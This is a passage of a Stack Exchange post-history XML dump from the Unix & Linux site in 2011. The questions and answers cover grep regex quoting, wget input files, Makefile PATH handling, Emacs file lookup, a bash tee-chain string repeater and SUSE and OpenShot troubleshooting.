apt-offline) and [aptoncd](http://packages.ubuntu.com/aptoncd) [![Install aptoncd](http://bit.ly/software-small)](http://apt.ubuntu.com/p/aptoncd) (designed to make custom Debian/Ubuntu package CDs).&#xD;&#xA;" />
  <row Id="27954" PostHistoryTypeId="2" PostId="11522" RevisionGUID="b71a3710-c803-4469-9ca0-237f3949928d" CreationDate="2011-04-17T17:42:12.410" UserId="6678" Text="Hi,&#xD;&#xA;&#xD;&#xA;I want to search for a field that only has spaces. When counting, this two commands gave me different results:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; grep &quot;^\s*$&quot; -c&#xD;&#xA;&gt; &#xD;&#xA;&gt; grep &quot;^(\s*$)&quot; -c&#xD;&#xA;&#xD;&#xA;Another thing. What is the correct way to say &quot;spaces only or other thing&quot;:&#xD;&#xA;&#xD;&#xA;&gt; grep &quot;^(\s*$|STRING)&quot; -c&#xD;&#xA;&gt; &#xD;&#xA;&gt; OR&#xD;&#xA;&gt; &#xD;&#xA;&gt; grep &quot;(^\s*$|^STRING)&quot; -c&#xD;&#xA;&#xD;&#xA;Or they are equivalent?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="27955" PostHistoryTypeId="1" PostId="11522" RevisionGUID="b71a3710-c803-4469-9ca0-237f3949928d" CreationDate="2011-04-17T17:42:12.410" UserId="6678" Text="Grep - ^(\s*$) vs ^\s*$" />
  <row Id="27956" PostHistoryTypeId="3" PostId="11522" RevisionGUID="b71a3710-c803-4469-9ca0-237f3949928d" CreationDate="2011-04-17T17:42:12.410" UserId="6678" Text="égrepàéregexà" />
  <row Id="27957" PostHistoryTypeId="2" PostId="11523" RevisionGUID="88b59b48-2cb2-4d7a-a699-1827cf562aec" CreationDate="2011-04-17T17:55:24.967" UserId="5325" Text="Plain `grep` doesn't understand `\s` or parentheses.(*)  You want `grep -P` if available, or `grep -E`/`egrep` and write `\s` out as `[ \t]`.  Additionally, with double quotes the shell will process the `\s` and leave behind just `s`; you should always use single quotes with regexes from the shell, except for when you actually need to interpolate a variable (e.g. something like `'^\s*'&quot;$foo&quot;'\s+\('`, switching quoting in mid-parameter).&#xD;&#xA;&#xD;&#xA;The alternatives in your second example (again, with `-P` and single quoting instead of double) do the same thing.  The former is technically better because `grep` won't backtrack as much, but practically it won't matter.&#xD;&#xA;&#xD;&#xA;(*) pedantry:  backslashed parens will work, again requiring single quoting so the shell doesn't eat the backslashes.  `egrep` is usually easier." />
  <row Id="27958" PostHistoryTypeId="2" PostId="11524" RevisionGUID="68e9d441-f120-45b2-b817-3889506636f7" CreationDate="2011-04-17T18:00:10.563" UserId="6679" Text="I am trying to install openshot 1.3 from yesterday. After doing everything I could do and searching the whole web. I am finally asking this. I downloaded the source and installed it from there and then installed the mlt libs too ( but not sure whether I have python binding or not). finally I found this debug script and I dont know what to do with it. So will just give you the output of that debug file. Help will be appreciated.&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;     $ sudo python debug.py&#xD;&#xA;    -----------------------------------------------------------&#xD;&#xA;    OpenShot Debug File 0.0.2 - 2011-04-17 18:29:42.730477&#xD;&#xA;    -----------------------------------------------------------&#xD;&#xA;    This file contains a list of installed packages related to OpenShot,&#xD;&#xA;    locations of files, and a list of shared libraries used by python-mlt.&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    -----------------------------------------------------------&#xD;&#xA;    Distribution Version Info&#xD;&#xA;    -----------------------------------------------------------&#xD;&#xA;    LSB Version:	:core-4.0-amd64:core-4.0-noarch&#xD;&#xA;    Distributor ID:	Fedora&#xD;&#xA;    Description:	Fedora release 14 (Laughlin)&#xD;&#xA;    Release:	14&#xD;&#xA;    Codename:	Laughlin&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;debug.py&quot;, line 45, in &lt;module&gt;&#xD;&#xA;        process = subprocess.Popen([&quot;dpkg&quot;,&quot;-l&quot;,&quot;openshot&quot;, &quot;libmlt1&quot;, &quot;libmlt2&quot;, &quot;python-mlt&quot;, &quot;python-mlt2&quot;, &quot;openshot-mlt&quot;], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT)&#xD;&#xA;      File &quot;/usr/lib64/python2.7/subprocess.py&quot;, line 672, in __init__&#xD;&#xA;        errread, errwrite)&#xD;&#xA;      File &quot;/usr/lib64/python2.7/subprocess.py&quot;, line 1201, in _execute_child&#xD;&#xA;        raise child_exception&#xD;&#xA;    OSError: [Errno 2] No such file or directory&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also here it seems like it was searching in /use/lib64, but i found the file in /usr/lib/...so i copied the openshot folder from lib to /usr/lib64/python2.7/site-packages but to no avail.&#xD;&#xA;&#xD;&#xA;Well hope someone can help soon." />
  <row Id="27959" PostHistoryTypeId="1" PostId="11524" RevisionGUID="68e9d441-f120-45b2-b817-3889506636f7" CreationDate="2011-04-17T18:00:10.563" UserId="6679" Text="Openshot-1.3.0 not working on Fedora 14" />
  <row Id="27960" PostHistoryTypeId="3" PostId="11524" RevisionGUID="68e9d441-f120-45b2-b817-3889506636f7" CreationDate="2011-04-17T18:00:10.563" UserId="6679" Text="élinuxàéfedoraàévideoöeditingà" />
  <row Id="27961" PostHistoryTypeId="5" PostId="11522" RevisionGUID="b9255434-3614-43c5-8464-3a6d6a53d8cc" CreationDate="2011-04-17T18:04:22.930" UserId="6678" Comment="added 12 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;I want to search for a field that only has spaces. When counting, this two commands gave me different results:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; grep &quot;^\s*$&quot; -E -c&#xD;&#xA;&gt; &#xD;&#xA;&gt; grep &quot;^(\s*$)&quot; -E -c&#xD;&#xA;&#xD;&#xA;Another thing. What is the correct way to say &quot;spaces only or other thing&quot;:&#xD;&#xA;&#xD;&#xA;&gt; grep &quot;^(\s*$|STRING)&quot; -E -c&#xD;&#xA;&gt; &#xD;&#xA;&gt; OR&#xD;&#xA;&gt; &#xD;&#xA;&gt; grep &quot;(^\s*$|^STRING)&quot; -E -c&#xD;&#xA;&#xD;&#xA;Or they are equivalent?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="27962" PostHistoryTypeId="25" PostId="11522" RevisionGUID="3c3fac2e-d0e3-4966-931e-1596ccf1d1e1" CreationDate="2011-04-17T18:09:09.587" Comment="http://twitter.com/#!/StackUnix/status/59679807834816514" />
  <row Id="27963" PostHistoryTypeId="5" PostId="11523" RevisionGUID="35344ded-825f-4478-b16d-2e705542b361" CreationDate="2011-04-17T18:26:30.443" UserId="5325" Comment="typo" Text="Plain `grep` doesn't understand `\s` or parentheses.(*)  You want `grep -P` if available, or `grep -E`/`egrep` and write `\s` out as `[ ^I]` (where `^I` is &lt;kbd&gt;Tab&lt;/kbd&gt;; `grep` without `-P` doesn't understand `\t` either).  Additionally, with double quotes some shells will process the `\s` and leave behind just `s`; you should always use single quotes with regexes from the shell, except for when you actually need to interpolate a variable (e.g. something like `'^\s*'&quot;$foo&quot;'\s+\('`, switching quoting in mid-parameter).&#xD;&#xA;&#xD;&#xA;The alternatives in your second example (again, with `-P` and single quoting instead of double) do the same thing.  The former is technically better because `grep` won't backtrack as much, but practically it won't matter.&#xD;&#xA;&#xD;&#xA;(*) pedantry:  backslashed parens will work, again requiring single quoting so the shell doesn't eat the backslashes.  `egrep` is usually easier." />
  <row Id="27964" PostHistoryTypeId="5" PostId="11522" RevisionGUID="01630143-9869-472d-8e0e-aaa3e130a5cc" CreationDate="2011-04-17T18:34:25.527" UserId="885" Comment="formatting" Text="I want to search for a field that only has spaces. When counting, this two commands gave me different results:&#xD;&#xA;&#xD;&#xA;    grep &quot;^\s*$&quot; -E -c&#xD;&#xA;    grep &quot;^(\s*$)&quot; -E -c&#xD;&#xA;&#xD;&#xA;Another thing. What is the correct way to say &quot;spaces only or other thing&quot;:&#xD;&#xA;&#xD;&#xA;    grep &quot;^(\s*$|STRING)&quot; -E -c&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    grep &quot;(^\s*$|^STRING)&quot; -E -c&#xD;&#xA;&#xD;&#xA;Or they are equivalent?&#xD;&#xA;" />
  <row Id="27965" PostHistoryTypeId="6" PostId="11522" RevisionGUID="01630143-9869-472d-8e0e-aaa3e130a5cc" CreationDate="2011-04-17T18:34:25.527" UserId="885" Comment="formatting" Text="éshellàégrepàéregexà" />
  <row Id="27966" PostHistoryTypeId="2" PostId="11525" RevisionGUID="23f6c04e-2e4c-4529-afec-6d44c4e97526" CreationDate="2011-04-17T19:49:31.840" UserId="1474" Text="You shouldn't need to do anything.  Automake by default installs everything with a version suffix.  Whatever you installed last would be `automake`, but you can call `automake-1.10` and `automake-1.11` directly." />
  <row Id="27967" PostHistoryTypeId="2" PostId="11526" RevisionGUID="a22430c1-f977-4818-a67a-1616342da924" CreationDate="2011-04-17T20:01:33.450" UserId="688" Text="I have a list of filenames (not urls) in a file, and I want to download them using `--input-file` option. How do I specify the url where those files will be fetched from?" />
  <row Id="27968" PostHistoryTypeId="1" PostId="11526" RevisionGUID="a22430c1-f977-4818-a67a-1616342da924" CreationDate="2011-04-17T20:01:33.450" UserId="688" Text="How to use '--input-file' option of wget" />
  <row Id="27969" PostHistoryTypeId="3" PostId="11526" RevisionGUID="a22430c1-f977-4818-a67a-1616342da924" CreationDate="2011-04-17T20:01:33.450" UserId="688" Text="éwgetàédownloadà" />
  <row Id="27970" PostHistoryTypeId="2" PostId="11527" RevisionGUID="068ec54f-c214-4a68-b0af-5f4fafc6ffd1" CreationDate="2011-04-17T20:06:27.197" UserId="2421" Text="Use the [`--base` option][1]:&#xD;&#xA;&#xD;&#xA;    wget -i file-of-filenames --base http://example.com/fetch/from/here/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/wget/manual/html_node/Logging-and-Input-File-Options.html" />
  <row Id="27971" PostHistoryTypeId="2" PostId="11528" RevisionGUID="a5e46955-8bfe-494a-bb85-b9e36833ad94" CreationDate="2011-04-17T21:00:12.057" UserId="885" Text="Shells designed to be used interactively allow you to recall and edit previous commands, generally with the &lt;kbd&gt;Up&lt;/kbd&gt; and &lt;kbd&gt;Down&lt;/kbd&gt; keys. You can often search a string in the command history with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;, too.&#xD;&#xA;&#xD;&#xA;Since these mechanisms work differently in shells, you should usually use this tag together with the tag corresponding to your shell ([tag:bash], [tag:ksh], [tag:tcsh], [tag:zsh], …).&#xD;&#xA;&#xD;&#xA;There are other command-line programs that provide a history mechanism as part of their line edition features. Many use the [tag:readline] library, like [tag:bash].&#xD;&#xA;&#xD;&#xA;Some shells have a different feature, known as [history expansion](http://www.gnu.org/software/bash/manual/bashref.html#History-Interaction) ([tag:bash]), [history substitution](http://www.kitebird.com/csh-tcsh-book/tcsh.html/History_substitution.html) ([tag:tcsh]) or [history expansion](http://zsh.sourceforge.net/Doc/Release/Expansion.html#SEC62) ([tag:zsh]): sequences beginning with `!` are replaced by substrings from previous commands, for example `!! | less` repeats the previous command and pipes it into `less`.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history&#xD;&#xA;* http://unix.stackexchange.com/questions/1254/how-to-access-the-history-on-the-fly-in-unix&#xD;&#xA;* http://unix.stackexchange.com/questions/6094/is-there-any-way-to-keep-a-command-from-being-added-to-your-history&#xD;&#xA;* http://unix.stackexchange.com/questions/4079/put-history-command-onto-command-line-without-executing-it&#xD;&#xA;* http://unix.stackexchange.com/questions/3747/understanding-the-exclamation-mark-in-bash&#xD;&#xA;" />
  <row Id="27972" PostHistoryTypeId="2" PostId="11529" RevisionGUID="09ef138f-f382-47b0-bf37-03fa39a81bbc" CreationDate="2011-04-17T21:00:12.057" UserId="885" Text="recall commands previously typed in a shell or other utility" />
  <row Id="27973" PostHistoryTypeId="2" PostId="11530" RevisionGUID="02211de4-de3c-4e20-a008-257e2c700831" CreationDate="2011-04-17T21:04:54.910" UserId="6685" Text="Hi there,&#xD;&#xA;&#xD;&#xA;I'm having some trouble in exporting the PATH I've modified inside the Makefile into the current Terminal. I'm trying to add to the PATH, the bin folder inside wherever the Makefile directory is.&#xD;&#xA;&#xD;&#xA;Here's the relevant strip of the makefile:&#xD;&#xA;&#xD;&#xA;    PATH := $(shell pwd)/bin:$(PATH)&#xD;&#xA;    &#xD;&#xA;    install:&#xD;&#xA;        mkdir -p ./bin &#xD;&#xA;        export PATH&#xD;&#xA;        echo $(PATH)&#xD;&#xA;&#xD;&#xA;The echo prints it correctly but if I redo the echo in the terminal, the PATH remains the same.&#xD;&#xA;&#xD;&#xA;Thanks in advance for the help" />
  <row Id="27974" PostHistoryTypeId="1" PostId="11530" RevisionGUID="02211de4-de3c-4e20-a008-257e2c700831" CreationDate="2011-04-17T21:04:54.910" UserId="6685" Text="Adding directory to PATH through Makefile" />
  <row Id="27975" PostHistoryTypeId="3" PostId="11530" RevisionGUID="02211de4-de3c-4e20-a008-257e2c700831" CreationDate="2011-04-17T21:04:54.910" UserId="6685" Text="édirectoryàépathàémakeà" />
  <row Id="27976" PostHistoryTypeId="25" PostId="11526" RevisionGUID="c05910a2-80a9-46d0-9d69-bdb9f9eceb50" CreationDate="2011-04-17T21:09:09.843" Comment="http://twitter.com/#!/StackUnix/status/59725106875858944" />
  <row Id="27977" PostHistoryTypeId="2" PostId="11531" RevisionGUID="d55ebb87-cdba-4e88-9d8e-ae7f45e9e00e" CreationDate="2011-04-17T21:24:57.177" UserId="2421" Text="You can't.  It's not possible for a subprocess (like `make`) to alter the environment of its parent process.&#xD;&#xA;&#xD;&#xA;You could do something like&#xD;&#xA;&#xD;&#xA;    $ eval `make pathupdate`&#xD;&#xA;&#xD;&#xA;Where the `pathupdate` target looks like:&#xD;&#xA;&#xD;&#xA;    pathupdate:&#xD;&#xA;    	@echo PATH=\&quot;$(PATH)\&quot;&#xD;&#xA;" />
  <row Id="27978" PostHistoryTypeId="2" PostId="11532" RevisionGUID="17f2654c-40e9-4a27-a5b3-662a9c7e349e" CreationDate="2011-04-17T21:29:17.703" UserId="885" Text="You simply can't do this. There's no way¹ the make process can change its parent's environment (or its current directory, which you might be thinking of next).&#xD;&#xA;&#xD;&#xA;In fact, even less is happending than you think.&#xD;&#xA;&#xD;&#xA;* Not all `make` implementations reflect the assignment to the make `PATH` variable in the environment; GNU make (found on Linux and other systems) does, but BSD make doesn't.&#xD;&#xA;* Each command line under a target runs in a separate subshell. (Except in some older BSD make implementations.) So the `export PATH` line is running on a shell that terminates immediately afterwards. Not that this line would be doing anything in the first place — if `PATH` is defined at that point, it's because it's in the shell's environment already.&#xD;&#xA;&#xD;&#xA;Make is for building things automatically. If you want to set variables for your interactive environment, this isn't the tool you should be looking at. Instead, write a shell snippet, and *source* it in the current shell:&#xD;&#xA;&#xD;&#xA;    . ./define-my-variables.sh&#xD;&#xA;&#xD;&#xA;In your makefile, source the script *in every subshell*. You can use a backslash to make a long command; remember that&#xD;&#xA;&#xD;&#xA;* The backslash-newline sequence is stripped by make, so the shell won't see a newline there.&#xD;&#xA;* Remember to prefix each line by a tab nonetheless.&#xD;&#xA;* Make's error behavior is to abort if a command fails. The shell won't do that by default, and the failure of any command but the last will go unnoticed by default, so you need to run `set -e`.&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    install:&#xD;&#xA;        set -e; \&#xD;&#xA;        . ./define-my-variables.sh; \&#xD;&#xA;        mkdir -p bin; \&#xD;&#xA;        …&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; Obligatory note: no sane way. Even remotely invoking `chdir` via `ptrace` from a debugger won't work as is with most shells because they don't like to have their current directory changed under their feet. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="27979" PostHistoryTypeId="6" PostId="11530" RevisionGUID="6cba410d-a868-46e0-b76e-6d34bbacbaac" CreationDate="2011-04-17T21:29:34.070" UserId="885" Comment="edited tags" Text="éenvironmentövariablesàépathàémakeà" />
  <row Id="27980" PostHistoryTypeId="5" PostId="7738" RevisionGUID="99c5afb4-8554-4a34-9180-b119e4f6b75e" CreationDate="2011-04-17T21:34:47.420" UserId="885" Comment="added “range” search fodder; added tag brace-expansion" Text="I want to use `$var in` a shell brace expansion with a range, in bash.&#xD;&#xA;Simply putting `{$var1..$var2}` doesn't work, so I went &quot;lateral&quot;... &#xD;&#xA;&#xD;&#xA;The following works, but it's a bit kludgey.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # remove the split files&#xD;&#xA;    echo rm foo.{$ext0..$extN} rm-segments &gt; rm-segments&#xD;&#xA;    source rm-segments&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there a more &quot;normal&quot; way?   &#xD;&#xA;&#xD;&#xA;" />
  <row Id="27981" PostHistoryTypeId="6" PostId="7738" RevisionGUID="99c5afb4-8554-4a34-9180-b119e4f6b75e" CreationDate="2011-04-17T21:34:47.420" UserId="885" Comment="added “range” search fodder; added tag brace-expansion" Text="éshellàébashàébraceöexpansionà" />
  <row Id="27982" PostHistoryTypeId="2" PostId="11533" RevisionGUID="43f86a58-bf24-484a-899c-c5171b7358ea" CreationDate="2011-04-17T21:45:11.000" UserId="6686" Text="Hi:&#xD;&#xA;&#xD;&#xA;I know there's software like exim, qmail or others to do this, but I do not want to install big software eating performance in the host.&#xD;&#xA;&#xD;&#xA;What I need is a very simple daemon script receiving all emails of a domain name, and just forward to a script.&#xD;&#xA;&#xD;&#xA;I have the MX record of the domain pointing to the host, now I need some daemon listening on port 25 and answering correctly to the mail standard communications (helo, and that stuff), and then handle the mail to a script.&#xD;&#xA;&#xD;&#xA;Anyone know any solution or have information about this ?&#xD;&#xA;&#xD;&#xA;Thank you in advance" />
  <row Id="27983" PostHistoryTypeId="1" PostId="11533" RevisionGUID="43f86a58-bf24-484a-899c-c5171b7358ea" CreationDate="2011-04-17T21:45:11.000" UserId="6686" Text="super lightweight script to handle email and forward to script" />
  <row Id="27984" PostHistoryTypeId="3" PostId="11533" RevisionGUID="43f86a58-bf24-484a-899c-c5171b7358ea" CreationDate="2011-04-17T21:45:11.000" UserId="6686" Text="émailà" />
  <row Id="27985" PostHistoryTypeId="2" PostId="11534" RevisionGUID="90e97a8e-2ebc-4fdd-9d2c-e73bba715ade" CreationDate="2011-04-17T21:47:30.640" UserId="73" Text="Assume I have a bunch of directories and can guarantee that no two directories have a common filename (i.e. if `foo/bar` exists, then `bar` doesn't exist in any of the other directories). How can I setup emacs such that, given a hard-coded list in `.emacs` of the directories to search, I can tell it to open `bar` and it figures out that it's in `foo` rather than me needing to tell it `foo/bar` every time? It'd be even better if it handled name collisions somehow (e.g. a list of possible matches), but that's not mandatory as I'm certain in this case the directories have no filenames in common" />
  <row Id="27986" PostHistoryTypeId="1" PostId="11534" RevisionGUID="90e97a8e-2ebc-4fdd-9d2c-e73bba715ade" CreationDate="2011-04-17T21:47:30.640" UserId="73" Text="Open files in emacs by filename instead of complete path" />
  <row Id="27987" PostHistoryTypeId="3" PostId="11534" RevisionGUID="90e97a8e-2ebc-4fdd-9d2c-e73bba715ade" CreationDate="2011-04-17T21:47:30.640" UserId="73" Text="éemacsàéfilenamesàéopenöfilesà" />
  <row Id="27988" PostHistoryTypeId="5" PostId="11506" RevisionGUID="b81e0052-5d5a-49b1-8244-5aeb524cbff9" CreationDate="2011-04-17T21:53:22.530" UserId="2343" Comment="added 1677 characters in body; edited body" Text="I've finally got my idea on how to do this working...  It uses a `tee` |`tee` |`tee` chain, which runs at close to `dd`'s speed.. &#xD;&#xA;&#xD;&#xA;    # ============================================================================&#xD;&#xA;    # repstr&#xD;&#xA;    #&#xD;&#xA;    # Brief:&#xD;&#xA;    #   Make multiple (repeat) copies of a string.&#xD;&#xA;    #   Option -e, --eval is used as in 'echo -e'&#xD;&#xA;    #&#xD;&#xA;    # Return:&#xD;&#xA;    #   The resulting string is sent to stdout&#xD;&#xA;    #&#xD;&#xA;    #   Args:       Option      $1         $2&#xD;&#xA;    #             -e, --eval   COUNT      STRING&#xD;&#xA;    #     repstr             $((2**40))    &quot;x&quot;       # 1 TB:     xxxxxxxxx...&#xD;&#xA;    # eg. repstr  -e            7         &quot;AB\tC\n&quot;  # 7 lines:  AB&lt;TAB&gt;C&#xD;&#xA;    #     repstr                2         &quot;ऑढळ|a&quot;   # 2 copies:  ऑढळ|aऑढळ|a &#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    [[ &quot;$1&quot; == &quot;-e&quot; || &quot;$1&quot; == &quot;--eval&quot; ]] &amp;&amp; { e=&quot;-e&quot;; shift 1; }|| e=&quot;&quot;&#xD;&#xA;     count=&quot;$1&quot;&#xD;&#xA;    string=&quot;$2&quot;&#xD;&#xA;    [[ &quot;${count}&quot; == &quot;&quot;         ]] &amp;&amp; exit 1 # $count must be an integer&#xD;&#xA;    [[ &quot;${count//[0-9]/}&quot; != &quot;&quot; ]] &amp;&amp; exit 2 # $count is not an integer&#xD;&#xA;    [[ &quot;${count}&quot; == &quot;0&quot;        ]] &amp;&amp; exit 0 # nothing to do&#xD;&#xA;    [[ &quot;${string}&quot; == &quot;&quot;        ]] &amp;&amp; exit 0 # nothing to do&#xD;&#xA;    #&#xD;&#xA;    # ========================================================================&#xD;&#xA;    # Find the highest 'power of 2' which, when calculated**, is &lt;= count&#xD;&#xA;    #   ie. check ascending 'powers of 2'&#xD;&#xA;    ((leqXpo=0))  # Exponent which makes 2** &lt;= count &#xD;&#xA;    ((leqCnt=1))  # A count which is &lt;= count&#xD;&#xA;    while ((count&gt;=leqCnt)) ;do&#xD;&#xA;      ((leqXpo+=1))&#xD;&#xA;      ((leqCnt*=2))&#xD;&#xA;    done&#xD;&#xA;    ((leqXpo-=1))&#xD;&#xA;    ((leqCnt/=2))&#xD;&#xA;    #   &#xD;&#xA;    # ======================================================================================&#xD;&#xA;    # Output $string to 'tee's which are daisy-chained in groups of descending 'powers of 2'&#xD;&#xA;    todo=$count&#xD;&#xA;    for ((xpo=leqXpo ;xpo&gt;0 ;xpo--)) ;do&#xD;&#xA;      tchain=&quot;&quot; &#xD;&#xA;      floor=$((2**xpo))&#xD;&#xA;      if ((todo&gt;=(2**xpo))) ; then&#xD;&#xA;        for ((t=0 ;t&lt;xpo ;t++)) ;do tchain=&quot;$tchain|tee -&quot; ;done&#xD;&#xA;        eval echo -n $e \&quot;'$string'\&quot; $tchain # &gt;/dev/null&#xD;&#xA;        ((todo-=floor))&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;    if ((todo==1)) ;then &#xD;&#xA;      eval echo -n $e \&quot;'$string'\&quot; # &gt;/dev/null&#xD;&#xA;    fi&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;Here are some time test results.. I've gone to 32 GB because thats the about the size of a test file I wanted to create (which is what started me off on this issue)   &#xD;&#xA;&#xD;&#xA;    NOTE: (2**30), (2**32), (2**33) refers to the number of strings to achieve a particular GB filesize.&#xD;&#xA;    -----&#xD;&#xA;    dd method (just for reference)                              real/user/sys&#xD;&#xA;    * 8GB                                                       =================================&#xD;&#xA;        if=/dev/zero bs=1024 count=$(((1024**2)*8))         #   2m46.941s / 00m3.828s / 0m56.864s&#xD;&#xA;    &#xD;&#xA;    tee method:       count              string                 real/user/sys  &#xD;&#xA;    * 8GB             ================   ============           =================================&#xD;&#xA;      tee(2**33)  -e  $((2**33))         &quot;x&quot;                #   1m50.605s / 0m01.496s / 0m27.774s&#xD;&#xA;      tee(2**30)  -e  $((2**30))         &quot;xxx\txxx\n&quot;       #   1m49.055s / 0m01.560s / 0m27.750s&#xD;&#xA;    * 32GB&#xD;&#xA;      tee(2**32)  -e  $((2**32))         &quot;xxx\txxx\n&quot;       #   7m34.867s / 0m06.020s / 1m52.459s&#xD;&#xA;    &#xD;&#xA;    python method: '.write' uses you output method &#xD;&#xA;                   '&gt;stcout' uses 'sys.stdout.write()'. It handles \n in args (but I know very little python)&#xD;&#xA;                               count   string                   real/user/sys&#xD;&#xA;    * 8GB                      =====   ===================      =================================&#xD;&#xA;      python(2**33)a.write     2**33    &quot;x&quot;                 # * OverflowError: repeated string is too long&#xD;&#xA;      python(2**33)a&gt;stdout    2**33    &quot;x&quot;                 # * OverflowError: repeated string is too long&#xD;&#xA;      python(2**30)b.write     2**30   '&quot;xxxxxxxX&quot; *2**0'   #   6m52.576s / 6m32.325s / 0m19.701s&#xD;&#xA;      python(2**30)b&gt;stdout    2**30   '&quot;xxxxxxxX&quot; *2**0'   #   8m11.374s / 7m49.101s / 0m19.573s&#xD;&#xA;      python(2**30)c.write     2**20   '&quot;xxxxxxxX&quot; *2**10'  #   2m14.693s / 0m03.464s / 0m22.585s &#xD;&#xA;      python(2**30)c&gt;stdout    2**20   '&quot;xxxxxxxX&quot; *2**10'  #   2m32.114s / 0m03.828s / 0m22.497s&#xD;&#xA;      python(2**30)d.write     2**10   '&quot;xxxxxxxX&quot; *2**20'  #   2m16.495s / 0m00.024s / 0m12.029s&#xD;&#xA;      python(2**30)d&gt;stdout    2**10   '&quot;xxxxxxxX&quot; *2**20'  #   2m24.848s / 0m00.060s / 0m11.925s&#xD;&#xA;      python(2**30)e.write     2**0    '&quot;xxxxxxxX&quot; *2**30'  # * OverflowError: repeated string is too long&#xD;&#xA;      python(2**30)e&gt;stdout    2**0    '&quot;xxxxxxxX&quot; *2**30'  # * OverflowError: repeated string is too long&#xD;&#xA;    * 32GB&#xD;&#xA;      python(2**32)f.write     2**12   '&quot;xxxxxxxX&quot; *2**20'  #   7m58.608s / 0m00.160s / 0m48.703s&#xD;&#xA;      python(2**32)f&gt;stdout    2**12   '&quot;xxxxxxxX&quot; *2**20'  #   7m14.858s / 0m00.136s / 0m49.087s&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27989" PostHistoryTypeId="2" PostId="11535" RevisionGUID="38a1a102-d376-4263-b8fd-33618112c6ca" CreationDate="2011-04-17T22:20:22.843" UserId="885" Text="As I write this, I discover [`ifind-mode`](http://www.emacswiki.org/emacs/ifind-mode.el), which looks spot on.&#xD;&#xA;&#xD;&#xA;    (setq workspace-dir &quot;/path/to/dir1 /path/to/dir2&quot;)&#xD;&#xA;    (require 'ifind-mode)&#xD;&#xA;    ;; maybe change `ifind-command' as well&#xD;&#xA;&#xD;&#xA;Then type `M-x ifind-mode` to find a file in the specified directories (and subdirectories by default), with nifty completion.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;What I usually do is `e **/bar` from zsh (where `e` is an alias for `emacsclient`). But that's disruptive if you're in Emacs already. Also, if there's a specific file I edit often, I leave it open (and I save my session).&#xD;&#xA;&#xD;&#xA;Out of the box, you can run `M-x find-dired` and specify arguments to `find`. But that's clumsy, at least for the case when you have a single match. [`ifind`](http://www.emacswiki.org/emacs/ifind.el) makes this less clumsy.&#xD;&#xA;&#xD;&#xA;[`ido`](http://www.emacswiki.org/emacs/InteractivelyDoThings) has a bunch of features that may be useful, especially [Use ido to find any file from the project](http://www.emacswiki.org/emacs/InteractivelyDoThings#toc12).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27990" PostHistoryTypeId="6" PostId="11534" RevisionGUID="b4f87d8a-b7a4-4e54-aa8b-9f7017c82981" CreationDate="2011-04-17T22:21:07.540" UserId="885" Comment="edited tags" Text="édirectoryàéemacsàéfilenamesà" />
  <row Id="27991" PostHistoryTypeId="2" PostId="11536" RevisionGUID="f194a0eb-9943-45c8-a25f-7768709f4fb6" CreationDate="2011-04-17T22:21:38.650" UserDisplayName="Sabbajax" Text="I upgraded my Suse 10.3 installation to 11.4 using the update option from a network installation disk. When the update was complete I was asked to reboot. When I did the reboot I am asked to login. This seemed a little strange as it used to automatically log me in. I login with either the root login or a user login that I have created on my system. As soon as it accepts my login it lists when I lasted logged in and that I have new mail and then gives me &quot;module is unknown&quot; and shows me the login prompt again. &#xD;&#xA;&#xD;&#xA;I have no idea how to see what module is unknown. Is there a way to get more information about what the system is unhappy about? Would a new install instead of an update have been a better option?&#xD;&#xA;&#xD;&#xA;I was unsure what I would lose on the disk if I did a new install." />
  <row Id="27992" PostHistoryTypeId="1" PostId="11536" RevisionGUID="f194a0eb-9943-45c8-a25f-7768709f4fb6" CreationDate="2011-04-17T22:21:38.650" UserDisplayName="Sabbajax" Text="Upgrade Suse 10.3 to 11.3 and startup fails" />
  <row Id="27993" PostHistoryTypeId="3" PostId="11536" RevisionGUID="f194a0eb-9943-45c8-a25f-7768709f4fb6" CreationDate="2011-04-17T22:21:38.650" UserDisplayName="Sabbajax" Text="élinuxàébootàésuseàégrubà" />
  <row Id="27994" PostHistoryTypeId="17" PostId="11536" RevisionGUID="0e1af647-f996-43d8-b7c0-0f19cc151663" CreationDate="2011-04-17T23:18:26.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5696848/upgrade-suse-10-3-to-11-3-and-startup-fails" Text="" />
